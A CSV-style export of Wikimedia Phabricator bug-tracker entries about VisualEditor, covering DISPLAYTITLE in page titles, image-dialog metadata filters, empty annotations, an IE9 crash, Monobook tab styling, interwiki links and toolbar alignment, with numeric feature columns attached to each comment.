243029,<title> of editing page doesn't respect DISPLAYTITLE,"I think this is about VE changing the <title> to ""Editing IPod"", which doesn't respect displaytitle? If so, this is consistent with core's behaviour...",,,1398776732,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,15.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,6.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.764705882352941,0.8823529411764706,"I think this is about VE changing the <title> to ""Editing IPod"", which doesn't respect displaytitle? If so, this is consistent with core's behaviour..."
243023,<title> of editing page doesn't respect DISPLAYTITLE,"Current bug summary: ""VisualEditor: Title doesn't respect DISPLAYTITLE"".

I'm not sure what this means. Looking at the links below, I see various issues, but none related to the <h1>. The <title> is a bit weird, but it's weird without VisualEditor as well.

* https://en.wikipedia.org/wiki/IPod?veaction=edit
* https://test.wikipedia.org/wiki/IPod?veaction=edit

Further clarification (including links) would be helpful here.",,,1371441334,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,4.0,8.0,0.0,3.0,0.0,5.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,4.0,3.5949367088607596,0.7468354430379747,"Current bug summary: ""VisualEditor: Title doesn't respect DISPLAYTITLE"".

I'm not sure what this means. Looking at the links below, I see various issues, but none related to the <h1>. The <title> is a bit weird, but it's weird without VisualEditor as well.

* URL
* URL

Further clarification (including links) would be helpful here."
51662,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"Some suggestions of improvements to the media insertion dialog; this is mostly a brain-dump which we might turn into a tracker later:

- a way of accessing the file page, on Commons or elsewhere
- a more clear highlighting
- maybe slightly enlarging the image
- double-click to insert
- filter by: …
-* media type
-* language (mostly specific to audio/video but also maps/diagrams)
-* length (audio/video)
-* resolution (image/video)
-* video bit-depth (image/video)
-* audio bit-depth (video/audio)
-* sample rate (audio)
-* format
-* licence
-* local vs. Commons

Notes:

The image size is based on the largest default thumbnail (the dialog asks for the 300x300px image and then shows it at 150x*px size). Changing this would need to have discussions with Ops about load on the image renderers and possibly changing the default sizes globally.

The filtering will have to wait for Solr faceted search, if that's indeed coing.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51032",Low,25.0,1371425280,1613688042.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_description,resolved,True,c1,2,True,True,False,-3,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,4.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,6.666666666666667,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,0.0,17.666666666666668,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,5.0,0.6666666666666666,5.333333333333333,0.3333333333333333,1.3333333333333333,6.666666666666667,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,0.6666666666666666,6.666666666666667,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.5238095238095237,0.5992063492063492,"Some suggestions of improvements to the media insertion dialog; this is mostly a brain-dump which we might turn into a tracker later:

- a way of accessing the file page, on Commons or elsewhere
- a more clear highlighting
- maybe slightly enlarging the image
- double-click to insert
- filter by: …
-* media type
-* language (mostly specific to audio/video but also maps/diagrams)
-* length (audio/video)
-* resolution (image/video)
-* video bit-depth (image/video)
-* audio bit-depth (video/audio)
-* sample rate (audio)
-* format
-* licence
-* local vs. Commons

Notes:

The image size is based on the largest default thumbnail (the dialog asks for the 300x300px image and then shows it at 150x*px size). Changing this would need to have discussions with Ops about load on the image renderers and possibly changing the default sizes globally.

The filtering will have to wait for Solr faceted search, if that's indeed coing.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
1667911,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"The first part of this is now done by the wonderful Structured Data team's work on #sdaw-mediasearch, which they've now integrated into VisualEditor. The initial work has address the most pressing problem of language; I expect that the faceted search ideas might come later. Thank you!",,,1613688042,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,398,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,18.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,2.0,0.0,12.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.285714285714286,0.875,"The first part of this is now done by the wonderful Structured Data team's work on #sdaw-mediasearch, which they've now integrated into VisualEditor. The initial work has address the most pressing problem of language; I expect that the faceted search ideas might come later. Thank you!"
242656,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"It makes more sense to combine all the media-related bugs into bug 37870 as a tracker, and use this for its original intent, to be about structured data about files and using that for inserting.",,,1394082888,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,35,,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.875,"It makes more sense to combine all the media-related bugs into bug 37870 as a tracker, and use this for its original intent, to be about structured data about files and using that for inserting."
242650,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,I'm marking a few other improvement suggestions filed as bugs as blockers so they don't get lost.,,,1377625064,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,8,,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.05,0.95,I'm marking a few other improvement suggestions filed as bugs as blockers so they don't get lost.
242642,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"It'd be nice to be able to search only by file name, if you know the title or know that that the file you want has a particular word in its name.  ""Intitle:apple"" cuts the number of images by 70%, which is a big help when there are ~12K files returned on that search.",,,1377191107,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,2.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,21.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,6.0,5.0,6.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,15.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.242424242424242,0.7575757575757576,"It'd be nice to be able to search only by file name, if you know the title or know that that the file you want has a particular word in its name.  ""Intitle:apple"" cuts the number of images by 70%, which is a big help when there are ~12K files returned on that search."
51497,VisualEditor: Empty annotations which display are hidden as alienMetas,"Per Ed's comment on T50605:

> Above change fixes issue with annotations being dropped, but we still need to fix empty annotations not rendering (e.g. `<span style=""display: block; background: red; width: 100px; height: 100px;""></span>`), either here or in a new bug.

This is the new bug. :-)
",Low,25.0,1371065040,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cka2ffmhei6ufmfdjpyi,task_description,open,True,c1,2,True,False,,-3,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.9444444444444444,"Per Ed's comment on T50605:

QUOTE

This is the new bug. :-)
"
51464,VisualEditor: VE crash mid-edit in IE9,"**Author:** `and.radiate`

**Description:**
Using alpha version as of 11JUN13. Did a small edit on Wikipedia English article ""Nagato-class battleship"" (deleting 3 letters from [Japanese] to form [Japan] in second sentence under section 5.1 World War II. Then scrolled down; after originally displayed area scrolled off screen, the screen went black in the TAB.  Other TABs in IE remained operative.  Back arrow did not produce any results on black screen or URL showing for the Wikipedia TAB.  Reloaded http://en.wikipedia.org in TAB with black screen; successfull load and correct operation thereafter.  Could not reproduce the error.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1370999220,1465404791.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_description,resolved,True,c1,2,False,False,False,-3,,0.5,0.0,0.0,0.0,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.5,0.0,1.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,9.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,2.0,4.048611111111111,0.7372526636225266,"**Author:** CODE

**Description:**
Using alpha version as of 11JUN13. Did a small edit on Wikipedia English article ""Nagato-class battleship"" (deleting 3 letters from [Japanese] to form [Japan] in second sentence under section 5.1 World War II. Then scrolled down; after originally displayed area scrolled off screen, the screen went black in the TAB.  Other TABs in IE remained operative.  Back arrow did not produce any results on black screen or URL showing for the Wikipedia TAB.  Reloaded URL in TAB with black screen; successfull load and correct operation thereafter.  Could not reproduce the error.

--------------------------
**Version**: unspecified
**Severity**: normal"
676329,VisualEditor: VE crash mid-edit in IE9,"No reproduction steps in three years, over which time it's been significantly changed. I'm marking this as Resolved for now.",,,1465404791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_subcomment,,True,c1,3,True,,,153,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.2,0.96,"No reproduction steps in three years, over which time it's been significantly changed. I'm marking this as Resolved for now."
230496,VisualEditor: VE crash mid-edit in IE9,and.radiate: Have you seen this problem again with a more recent VE version?,,,1408109540,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,4.266666666666667,1.0,and.radiate: Have you seen this problem again with a more recent VE version?
51407,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","VisualEditor is removing the font weight from the ""article"" tab when using Monobook on the English Wikipedia.

Steps to reproduce:

* Go to <https://en.wikipedia.org/wiki/Canada_Goose_(clothing)>

* Click ""edit this page"".

* The ""article"" tab loses its boldness.

* Clicking the ""cancel"" button does not restore the boldness.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1370896140,1398881879.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-qf4dixqxm23hinqfnhhq,task_description,resolved,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,14.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,3.6987951807228914,0.5542168674698795,"VisualEditor is removing the font weight from the ""article"" tab when using Monobook on the English Wikipedia.

Steps to reproduce:

* Go to <URL

* Click ""edit this page"".

* The ""article"" tab loses its boldness.

* Clicking the ""cancel"" button does not restore the boldness.

--------------------------
**Version**: unspecified
**Severity**: normal"
251741,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","Change 130085 merged by jenkins-bot:
Fix tab selection on monobook

https://gerrit.wikimedia.org/r/130085",,,1398881455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qf4dixqxm23hinqfnhhq,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,"Change 130085 merged by jenkins-bot:
Fix tab selection on monobook

GERRIT_URL"
251732,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","Change 130085 had a related patch set uploaded by Alex Monk:
Fix tab selection on monobook

https://gerrit.wikimedia.org/r/130085",,,1398699745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qf4dixqxm23hinqfnhhq,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 130085 had a related patch set uploaded by Alex Monk:
Fix tab selection on monobook

GERRIT_URL"
51316,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"E.g. [[:fr:Foo]] or [[m:Foo]].

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1370631180,1396028566.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-u7fscppwehap7w2btqmk,task_description,resolved,True,c1,2,True,False,False,-4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.9714285714285715,0.5142857142857142,"E.g. [[:fr:Foo]] or [[m:Foo]].

--------------------------
**Version**: unspecified
**Severity**: enhancement"
246377,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"As Roan says, external links are now silently converted to interwikis when appropriate by Parsoid, so this is totally possible, and has been since we fixed it in November.",,,1396028566,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,3.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,15.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,15.0,9.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9393939393939394,"As Roan says, external links are now silently converted to interwikis when appropriate by Parsoid, so this is totally possible, and has been since we fixed it in November."
246368,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"This is kind of possible now, by creating external links.",,,1385136692,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,"This is kind of possible now, by creating external links."
246362,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"I just tried adding a link with [[:w:eo]] and got this:
http://www.mediawiki.org/w/index.php?title=Language_portal%2FWikimania2013%2FEvent_Report&diff=768410&oldid=768371

[Changed the title to avoid confusion with interlanguage links.]",,,1377094621,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.242424242424242,0.8484848484848485,"I just tried adding a link with [[:w:eo]] and got this:
URL

[Changed the title to avoid confusion with interlanguage links.]"
246356,VisualEditor: It should be possible to create interwiki links and edit them subsequently,*** Bug 50889 has been marked as a duplicate of this bug. ***,,,1374331394,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50889 has been marked as a duplicate of this bug. ***
246350,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"It's actually already possible to create interwiki links by including the interwiki prefix in the link editor; example with wikitech: https://www.mediawiki.org/w/index.php?diff=729932 .

Interwiki links that have been created this way with VisualEditor can still be edited the same way as long as the page isn't saved.

Since this works for new and newly-added interwiki links, I'm not sure why they're blacklisted / green-striped in subsequent edits.",,,1373532188,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,11.0,11.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,7.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,4.222222222222222,0.8024691358024691,"It's actually already possible to create interwiki links by including the interwiki prefix in the link editor; example with wikitech: URL .

Interwiki links that have been created this way with VisualEditor can still be edited the same way as long as the page isn't saved.

Since this works for new and newly-added interwiki links, I'm not sure why they're blacklisted / green-striped in subsequent edits."
246342,VisualEditor: It should be possible to create interwiki links and edit them subsequently,*** Bug 49545 has been marked as a duplicate of this bug. ***,,,1371150585,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49545 has been marked as a duplicate of this bug. ***
51249,VisualEditor: Toolbar button text doesn't line up vertically,"See http://imgur.com/wmAeHRD

--------------------------
**Version**: unspecified
